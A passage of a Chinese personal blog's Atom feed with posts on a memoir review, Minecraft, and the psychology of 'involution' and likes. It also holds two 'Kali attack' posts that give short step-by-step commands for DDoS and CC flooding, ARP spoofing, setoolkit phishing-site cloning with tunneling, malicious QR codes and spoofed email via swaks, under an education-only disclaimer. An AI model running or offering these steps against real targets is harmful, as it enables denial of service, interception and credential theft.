id="%E5%9B%9B%E4%BF%A1%E4%BB%B0%E4%B8%8E%E7%9C%9F%E7%9B%B8%E5%9C%A8%E9%BB%91%E6%9A%97%E4%B8%AD%E5%AF%BB%E6%89%BE%E5%85%89%E6%98%8E">四、信仰与真相：在黑暗中寻找光明</span></h3><p>在塔拉的成长过程中，她曾深刻地信仰着父亲的思想，认为那是“真理”。然而，当她一步步走进课堂、接触学术、阅读书籍，她开始意识到信仰与真相并不总是同一回事。她不再将“信”当作真理，而是将“理解”作为追寻真实的方式。</p><p>这种转变并不是一蹴而就的，而是一种痛苦的、漫长的蜕变。她曾无数次怀疑自己是否走错了路，是否背叛了家庭。但最终，她明白，<strong>真正的信仰应该是建立在理解与责任之上</strong>，而不是对世界的封闭与抗拒。</p><hr><h3><span id="%E7%BB%93%E8%AF%AD%E9%A3%9E%E5%90%A7%E5%83%8F%E9%B8%9F%E4%B8%80%E6%A0%B7%E9%A3%9E%E5%90%91%E7%9C%9F%E5%AE%9E%E7%9A%84%E8%87%AA%E5%B7%B1">结语：飞吧，像鸟一样，飞向真实的自己</span></h3><p>《你当像鸟飞往你的山》不仅是一部关于成长的小说，更是一面镜子，映照出我们每个人内心深处的挣扎与渴望。它告诉我们，成长不仅仅是年龄的增长，更是内心的解放。当我们敢于飞出“山”，我们才能真正找到属于自己的天地。</p><p>愿每一个人都能怀揣着“飞”的勇气，去寻找更广阔的世界，去追寻更真实的自己。正如书名所言：<strong>你当像鸟飞往你的山</strong>，不是为了逃离，而是为了在那片“山”中，找到属于自己的天空。</p><hr><p>如果你有特定的写作风格、字数要求，或者想加入某些个人观点（比如结合当代教育、女性成长、自我认同等），我可以继续帮你优化这篇读后感，让它更贴合你的表达需求。</p></body></html>]]>
    </content>
    <id>https://ttquk.github.io/2026/04/11/%E4%BD%A0%E5%BD%93%E5%83%8F%E9%B8%9F%E9%A3%9E%E5%BE%80%E4%BD%A0%E7%9A%84%E5%B1%B1/</id>
    <link href="https://ttquk.github.io/2026/04/11/%E4%BD%A0%E5%BD%93%E5%83%8F%E9%B8%9F%E9%A3%9E%E5%BE%80%E4%BD%A0%E7%9A%84%E5%B1%B1/"/>
    <published>2026-04-11T06:39:00.000Z</published>
    <summary>《你当像鸟飞往你的山》读书笔记与感悟，探讨教育如何改变命运、自我觉醒与成长的力量，一个关于逃离与重生的真实故事。</summary>
    <title>在山的尽头，我学会了飞</title>
    <updated>2026-07-12T03:17:16.829Z</updated>
  </entry>
  <entry>
    <author>
      <name>TT清沫uk</name>
    </author>
    <category term="游戏" scheme="https://ttquk.github.io/categories/%E6%B8%B8%E6%88%8F/"/>
    <category term="MC" scheme="https://ttquk.github.io/tags/MC/"/>
    <content>
      <![CDATA[<html><head></head><body><p><img src="https://cdn.phototourl.com/free/2026-04-10-fa3874c8-747a-491d-b547-5db50c125b7a.png" alt="2026-04-10-97a76215-81cf-4538-bd29-71a1fde4370e"></p><table><thead><tr><th>TTqmuk</th><th>布鲁斯</th><th>奔走涛</th><th>菌</th></tr></thead><tbody><tr><td>8</td><td>10</td><td>26</td><td>14</td></tr><tr><td></td><td>最先死，忘调生存</td><td>死最多，轰死自己最多，拿错子弹</td><td></td></tr></tbody></table><hr><h2><span id="%E6%8B%9B%E5%8B%9F%E6%9C%8D%E5%8A%A1%E5%99%A8frp-tipcom57628">招募服务器:frp-tip.com:57628</span></h2></body></html>]]>
    </content>
    <id>https://ttquk.github.io/2026/04/08/4%E6%9C%888%E5%8F%B7/</id>
    <link href="https://ttquk.github.io/2026/04/08/4%E6%9C%888%E5%8F%B7/"/>
    <published>2026-04-08T14:16:00.000Z</published>
    <summary>记录 MC（Minecraft）服务器中与好友们的在线峰值时刻，最高同时在线人数统计与欢乐回忆。</summary>
    <title>4月8号峰值</title>
    <updated>2026-07-12T03:16:21.907Z</updated>
  </entry>
  <entry>
    <author>
      <name>TT清沫uk</name>
    </author>
    <category term="社会心理" scheme="https://ttquk.github.io/categories/%E7%A4%BE%E4%BC%9A%E5%BF%83%E7%90%86/"/>
    <category term="内卷" scheme="https://ttquk.github.io/tags/%E5%86%85%E5%8D%B7/"/>
    <category term="社会比较" scheme="https://ttquk.github.io/tags/%E7%A4%BE%E4%BC%9A%E6%AF%94%E8%BE%83/"/>
    <category term="心理学" scheme="https://ttquk.github.io/tags/%E5%BF%83%E7%90%86%E5%AD%A6/"/>
    <content>
      <![CDATA[<html><head></head><body><p><strong>“内卷”现象背后的社会心理机制</strong></p><p>“内卷”一词近年来频繁出现在公众视野中，原本是人类学中的术语，用来描述一种社会或文化模式在达到某种形态后，无法转化为更高层次的发展，只能在内部不断复杂化、重复化。如今，它被广泛用于形容在教育、职场、竞争等领域中，个体付出越来越多努力，却难以获得相应回报，反而陷入“非理性竞争”的困境。</p><p>那么，“内卷”现象背后隐藏着怎样的社会心理机制？其根源远不止于资源稀缺，更与群体心理、社会比较与不确定感密切相关。</p><p>首先，<strong>社会比较心理</strong>是推动“内卷”的核心动力。人们天生倾向于通过与他人比较来评估自身价值，尤其是在升学、求职、晋升等关键节点，人们的成就感往往来源于“我比别人强”。然而，当整个群体都在“卷”时，比较的标准不断被拉高——别人加班，我也得加；别人报班，我也得报。这种“比较—追赶—焦虑—再比较”的循环，使个体陷入无法脱身的竞争陷阱，即使明知努力边际效益递减，仍不敢停下。</p><p>其次，<strong>不确定感与安全感缺失</strong>加剧了“内卷”的蔓延。在经济波动、就业压力增大、阶层固化趋势明显的背景下，人们对未来充满不安全感。越是不确定，就越想通过“多做一点”来争取安全感。于是，个体将“努力”视为唯一的保底手段：只有比别人多投入，才可能避免被淘汰。这种“防御性努力”并非性格使然，而是对不确定未来的心理应激反应。</p><p>此外，<strong>从众心理与群体压力</strong>也起到了推波助澜的作用。“别人都在卷，我如果不卷，是不是就会落后？”这种思维模式极具传染性。尤其在社交媒体时代，他人“奋斗”的高光时刻被不断放大，更容易引发焦虑与恐惧。人们难以抗拒“大家都在拼”的氛围，即使内心抗拒，也容易被裹挟前行。</p><p>更深层看，“内卷”本质是一种<strong>异化劳动</strong>：人逐渐不再是为自我成长或兴趣而工作，而是被迫参与一场无止境的“游戏”，规则由他人制定，胜利却模糊不清。在这种环境中，努力的意义被稀释，个体的创造力与自主性被压抑。</p><p>要破解“内卷”，不能仅靠个体“停止努力”，而需构建更健康的竞争环境——比如优化评价体系，打破“唯分数”“唯资历”导向，鼓励多元化发展路径；同时增强社会支持，降低不确定性，让个体真正拥有“不卷”的底气。</p><p>“内卷”不是懒惰的代名词，而是社会结构失衡与心理机制失衡的共同产物。唯有正视其背后的心理逻辑，才能引导人们从被动竞争走向自主发展，让努力真正回归价值本身。</p></body></html>]]>
    </content>
    <id>https://ttquk.github.io/2026/04/06/%E5%86%85%E5%8D%B7%E7%8E%B0%E8%B1%A1%E8%83%8C%E5%90%8E%E7%9A%84%E7%A4%BE%E4%BC%9A%E5%BF%83%E7%90%86%E6%9C%BA%E5%88%B6/</id>
    <link href="https://ttquk.github.io/2026/04/06/%E5%86%85%E5%8D%B7%E7%8E%B0%E8%B1%A1%E8%83%8C%E5%90%8E%E7%9A%84%E7%A4%BE%E4%BC%9A%E5%BF%83%E7%90%86%E6%9C%BA%E5%88%B6/"/>
    <published>2026-04-06T05:46:00.000Z</published>
    <summary>从社会心理学角度深入分析&quot;内卷&quot;现象的成因，探讨社会比较理论、资源稀缺心态和非理性竞争对个体与群体的影响。</summary>
    <title>“内卷”现象背后的社会心理机制</title>
    <updated>2026-07-12T03:21:00.462Z</updated>
  </entry>
  <entry>
    <author>
      <name>TT清沫uk</name>
    </author>
    <category term="社会心理" scheme="https://ttquk.github.io/categories/%E7%A4%BE%E4%BC%9A%E5%BF%83%E7%90%86/"/>
    <category term="社交媒体" scheme="https://ttquk.github.io/tags/%E7%A4%BE%E4%BA%A4%E5%AA%92%E4%BD%93/"/>
    <category term="点赞" scheme="https://ttquk.github.io/tags/%E7%82%B9%E8%B5%9E/"/>
    <category term="多巴胺" scheme="https://ttquk.github.io/tags/%E5%A4%9A%E5%B7%B4%E8%83%BA/"/>
    <content>
      <![CDATA[<html><head></head><body><p><strong>社交媒体时代“点赞”为何带来满足感？</strong></p><p>在今天的信息社会中，一个小小的“点赞”按钮，已成为人们社交生活中最常见、最频繁的操作之一。无论是在朋友圈晒出一张美食照片、在微博上发表一段观点，还是在小红书分享一次旅行体验，几乎每一个发布后，都会不由自主地期待着“有人点赞”。而当那一串数字逐渐增长，许多人会感到一阵莫名的愉悦，甚至产生短暂的“被认可”的满足感。为什么看似微不足道的“点赞”会带来如此强烈的心理反馈？这背后，是复杂的神经机制、社会心理以及数字化身份认同共同作用的结果。</p><h3><span id="%E4%B8%80%E5%A4%A7%E8%84%91%E7%9A%84%E5%A5%96%E5%8A%B1%E5%9B%9E%E8%B7%AF%E5%9C%A8%E8%B5%B7%E4%BD%9C%E7%94%A8">一、大脑的“奖励回路”在起作用</span></h3><p>从神经科学角度看，“点赞”激活了人类大脑中的“多巴胺系统”。多巴胺是大脑中与奖赏、快乐、动机密切相关的神经递质。当我们收到点赞、评论或关注时，大脑会误认为这是一种“正向反馈”，如同得到食物、获得认可或完成挑战后的奖励。这种“微激励”机制在心理学中被称为“间歇性强化”——奖励的不确定性和不可预测性，反而让人更容易上瘾。正如赌博中无法预知下一次是否中奖，点赞的数量也常是“时多时少”，这种不确定性增强了人们的重复行为。</p><h3><span id="%E4%BA%8C%E7%A4%BE%E4%BC%9A%E8%AE%A4%E5%90%8C%E6%84%9F%E7%9A%84%E5%8D%B3%E6%97%B6%E6%BB%A1%E8%B6%B3">二、社会认同感的即时满足</span></h3><p>人是社会性动物，天生渴望被看见、被接纳、被认可。心理学家马斯洛的需求层次理论指出，归属与爱的需要是人类基本心理需求之一。社交媒体中的“点赞”，本质上是一种简化的“社会认同”表达。每一条点赞，都像是对“你有价值、你被关注”的无声肯定。即便点赞者未必真正了解内容，但“有人愿意抽出时间点一下”，这种象征性的互动，已经足够在心理上构筑一种“我被重视”的安全感。</p><p>尤其在孤独感普遍存在的现代社会，这种虚拟社交互动成为填补情感空缺的重要方式。一次点赞，像是来自他人的一次“点头微笑”，即使短暂，也足以让人感到“我不是被遗忘的”。</p><h3><span id="%E4%B8%89%E8%87%AA%E6%88%91%E5%91%88%E7%8E%B0%E4%B8%8E%E6%95%B0%E5%AD%97%E8%BA%AB%E4%BB%BD%E7%9A%84%E5%BB%BA%E6%9E%84">三、自我呈现与数字身份的建构</span></h3><p>社交媒体不仅是分享平台，更是个人形象建构的舞台。人们在发布内容的那一刻，就是在向公众演绎“我希望别人如何看待我”——是阳光的、有品位的、有才华的，还是有态度的？而“点赞”成为衡量这个“表演”是否成功的最直观指标。更高的点赞数，意味着更高的“能见度”和“认可度”，在无形中强化了个体的自我价值感。</p><p>尤其当发帖者看到“点赞数字”从0涨到数十甚至几百，那种“被欢迎”的心理满足感迅速上升。大数据时代，点赞数字甚至成为一种“数字资本”：你拥有的点赞量越多，越可能被算法推荐、越容易获得“社交光环”。</p><h3><span id="%E5%9B%9B%E4%BB%8E%E4%BC%97%E5%BF%83%E7%90%86%E4%B8%8E%E4%BA%92%E5%8A%A8%E7%84%A6%E8%99%91%E7%9A%84%E9%9A%90%E5%BF%A7">四、从众心理与互动焦虑的隐忧</span></h3><p>然而，这种满足感的背后也潜藏着隐患。当“点赞”逐渐成为衡量内容价值和自我价值的硬指标，人们便可能陷入“点赞焦虑”——害怕没人看，害怕没人点，怕自己不重要、不被关注。这种焦虑驱使人们反复查看动态、优化内容、甚至使用“点赞互赞”等技巧，将社交行为异化为一种消耗性努力。</p><p>更严重的是，当点赞数成为唯一衡量标准时，内容质量、真实表达反而让位于“吸睛”和“讨喜”。许多人发布“精致生活”“奋斗鸡汤”等内容，不是为了分享真实，而是为了获取点赞。这种“表演性社交”正在侵蚀真实人际关系的深度。</p><h3><span id="%E7%BB%93%E8%AF%AD">结语</span></h3><p>“点赞”之所以带来满足感，是因为它精准地击中了人类深层心理需求：被关注、被认同、被接纳。在数字化时代，它成为一种低成本、即时化、可量化的社交奖赏。然而，当我们将自我价值与点赞数绑定，这种满足感便可能异化为依赖与焦虑。真正的满足，不应来自虚拟数字的累积，而应源于真实连接、自我成长与内在丰盈。</p><p>或许，我们该学会在点赞之外，看见更深层次的连接——毕竟，哪怕没有那个“点赞”，你本身就值得被关注与喜爱。</p></body></html>]]>
    </content>
    <id>https://ttquk.github.io/2026/04/06/%E7%A4%BE%E4%BA%A4%E5%AA%92%E4%BD%93%E6%97%B6%E4%BB%A3%E7%82%B9%E8%B5%9E%E4%B8%BA%E4%BD%95%E5%B8%A6%E6%9D%A5%E6%BB%A1%E8%B6%B3%E6%84%9F/</id>
    <link href="https://ttquk.github.io/2026/04/06/%E7%A4%BE%E4%BA%A4%E5%AA%92%E4%BD%93%E6%97%B6%E4%BB%A3%E7%82%B9%E8%B5%9E%E4%B8%BA%E4%BD%95%E5%B8%A6%E6%9D%A5%E6%BB%A1%E8%B6%B3%E6%84%9F/"/>
    <published>2026-04-06T05:46:00.000Z</published>
    <summary>从神经科学和社会心理学角度，解析社交媒体&quot;点赞&quot;背后的多巴胺奖励机制、社会认同需求和数字化身份认同的深层原理。</summary>
    <title>社交媒体时代“点赞”为何带来满足感？</title>
    <updated>2026-07-12T03:21:00.461Z</updated>
  </entry>
  <entry>
    <author>
      <name>TT清沫uk</name>
    </author>
    <category term="网络安全" scheme="https://ttquk.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <category term="Kali" scheme="https://ttquk.github.io/tags/Kali/"/>
    <category term="DDoS" scheme="https://ttquk.github.io/tags/DDoS/"/>
    <category term="CC攻击" scheme="https://ttquk.github.io/tags/CC%E6%94%BB%E5%87%BB/"/>
    <content>
      <![CDATA[<html><head></head><body><h1><span id="kali%E5%B8%B8%E8%A7%81%E6%94%BB%E5%87%BB%E6%89%8B%E6%AE%B5%E8%AF%A6%E8%A7%A3---%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%8A%80%E6%9C%AF%E6%95%99%E7%A8%8B">kali常见攻击手段详解 - 网络安全技术教程</span></h1><blockquote><p><strong>警告：本内容仅供教育和研究目的，严禁用于非法活动！任何违法行为后果自负。</strong></p></blockquote><h2><span id="%E7%BD%91%E7%BB%9C%E6%94%BB%E5%87%BB%E6%89%8B%E6%AE%B5">网络攻击手段</span></h2><h3><span id="ddos%E6%94%BB%E5%87%BB">DDoS攻击</span></h3><p>分布式拒绝服务攻击，通过大量请求使目标服务器瘫痪</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 下载攻击工具</span><br>git <span class="hljs-built_in">clone</span> https://github.com/Andysun06/ddos<br><span class="hljs-built_in">cd</span> ddos<br>python ddos-p2.py<br></code></pre></td></tr></tbody></table></figure><hr><h3><span id="cc%E6%94%BB%E5%87%BB">CC攻击</span></h3><p>Challenge Collapsar攻击，针对Web应用的DDoS变种</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 使用ab工具进行CC攻击</span><br>ab -n 1000 -c 1000 http://target.com/<br></code></pre></td></tr></tbody></table></figure><hr><h3><span id="arp%E6%AC%BA%E9%AA%97">ARP欺骗</span></h3><p>通过伪造ARP报文，实现中间人攻击</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 安装dsniff工具</span><br>apt-get install dsniff -y<br>arpspoof -i eth0 -t 目标IP 网关IP<br></code></pre></td></tr></tbody></table></figure><hr></body></html>]]>
    </content>
    <id>https://ttquk.github.io/2026/03/29/1/</id>
    <link href="https://ttquk.github.io/2026/03/29/1/"/>
    <published>2026-03-29T05:02:00.000Z</published>
    <summary>详细介绍 Kali Linux 中常见的网络攻击手段，包括 DDoS、CC 攻击等网络安全技术的原理与防御方法。</summary>
    <title>kali网络攻击</title>
    <updated>2026-07-12T03:16:11.169Z</updated>
  </entry>
  <entry>
    <author>
      <name>TT清沫uk</name>
    </author>
    <category term="网络安全" scheme="https://ttquk.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <category term="Kali" scheme="https://ttquk.github.io/tags/Kali/"/>
    <category term="社会工程学" scheme="https://ttquk.github.io/tags/%E7%A4%BE%E4%BC%9A%E5%B7%A5%E7%A8%8B%E5%AD%A6/"/>
    <category term="钓鱼攻击" scheme="https://ttquk.github.io/tags/%E9%92%93%E9%B1%BC%E6%94%BB%E5%87%BB/"/>
    <content>
      <![CDATA[<html><head></head><body><h4><span id="%E4%BD%BF%E7%94%A8setoolkit%E6%AD%A5%E9%AA%A4">使用setoolkit步骤：</span></h4><ol><li>打开终端输入：<code>setoolkit</code></li><li>选择 <code>1 - 社会工程学攻击</code></li><li>选择 <code>2 - 网站攻击</code></li><li>选择 <code>3 - 钓鱼网站攻击</code></li><li>选择 <code>2 - 站点克隆</code></li><li>输入Kali IP地址</li><li>输入要克隆的网站URL</li></ol><hr><h4><span id="%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E9%85%8D%E7%BD%AE">内网穿透配置：</span></h4><ul><li>使用花生壳进行内网穿透</li><li>配置HTTPS映射（需付费6元）</li><li>设置内网主机IP和端口80</li><li>通过域名访问钓鱼网站</li></ul><hr><h3><span id="%E4%BA%8C%E7%BB%B4%E7%A0%81%E6%94%BB%E5%87%BB">二维码攻击</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 使用SET生成恶意二维码</span><br>setoolkit<br>→ 1 社会工程学攻击<br>→ 8 二维码攻击<br>→ 输入钓鱼网站URL<br>生成路径: /root/.set/reports/<br></code></pre></td></tr></tbody></table></figure><hr><h3><span id="%E9%92%93%E9%B1%BC%E9%82%AE%E4%BB%B6%E6%94%BB%E5%87%BB">钓鱼邮件攻击</span></h3><h4><span id="%E4%BD%BF%E7%94%A8swaks%E5%B7%A5%E5%85%B7">使用swaks工具：</span></h4><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash">swaks --to 目标邮箱 \<br>--from 伪造发件人 \<br>--ehlo 域名 \<br>--body <span class="hljs-string">"邮件内容"</span> \<br>--header <span class="hljs-string">"Subject: 邮件标题"</span><br></code></pre></td></tr></tbody></table></figure></body></html>]]>
    </content>
    <id>https://ttquk.github.io/2026/03/29/2/</id>
    <link href="https://ttquk.github.io/2026/03/29/2/"/>
    <published>2026-03-29T05:01:00.000Z</published>
    <summary>学习使用 Kali Linux 中的 SET（社会工程学工具包）进行钓鱼攻击等渗透测试技术，了解网络安全防御策略。</summary>
    <title>kali社会工程学攻击</title>
    <updated>2026-07-12T03:16:18.688Z</updated>
  </entry>
  <entry>
    <author>
      <name>TT清沫uk</name>
    </author>
    <category term="博客" scheme="https://ttquk.github.io/categories/%E5%8D%9A%E5%AE%A2/"/>
    <category term="Hexo" scheme="https://ttquk.github.io/tags/Hexo/"/>
    <category term="入门" scheme="https://ttquk.github.io/tags/%E5%85%A5%E9%97%A8/"/>
    <content>
      <![CDATA[<html><head></head><body><p>Welcome to <a href="https://hexo.io/">Hexo</a>! This is your very first post. Check <a href="https://hexo.io/docs/">documentation</a> for more info. If you get any problems when using Hexo, you can find the answer in <a href="https://hexo.io/docs/troubleshooting.html">troubleshooting</a> or you can ask me on <a href="https://github.com/hexojs/hexo/issues">GitHub</a>.</p><h2><span id="quick-start">Quick Start</span></h2><h3><span id="create-a-new-post">Create a new post</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo new <span class="hljs-string">"My New Post"</span><br></code></pre></td></tr></tbody></table></figure><p>More info: <a href="https://hexo.io/docs/writing.html">Writing</a></p><h3><span id="run-server">Run server</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo server<br></code></pre></td></tr></tbody></table></figure><p>More info: <a href="https://hexo.io/docs/server.html">Server</a></p><h3><span id="generate-static-files">Generate static files</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo generate<br></code></pre></td></tr></tbody></table></figure><p>More info: <a href="https://hexo.io/docs/generating.html">Generating</a></p><h3><span id="deploy-to-remote-sites">Deploy to remote sites</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo deploy<br></code></pre></td></tr></tbody></table></figure><p>More info: <a href="https://hexo.io/docs/one-command-deployment.html">Deployment</a></p></body></html>]]>
    </content>
    <id>https://ttquk.github.io/2026/03/28/hello-world/</id>
    <link href="https://ttquk.github.io/2026/03/28/hello-world/"/>
    <published>2026-03-28T13:17:00.000Z</published>
    <summary>我的第一篇博客文章，记录使用 Hexo 和 Kira 主题搭建个人博客的过程与心得。</summary>
    <title>Hello World</title>
    <updated>2026-07-12T03:17:41.938Z</updated>
  </entry>
</feed>
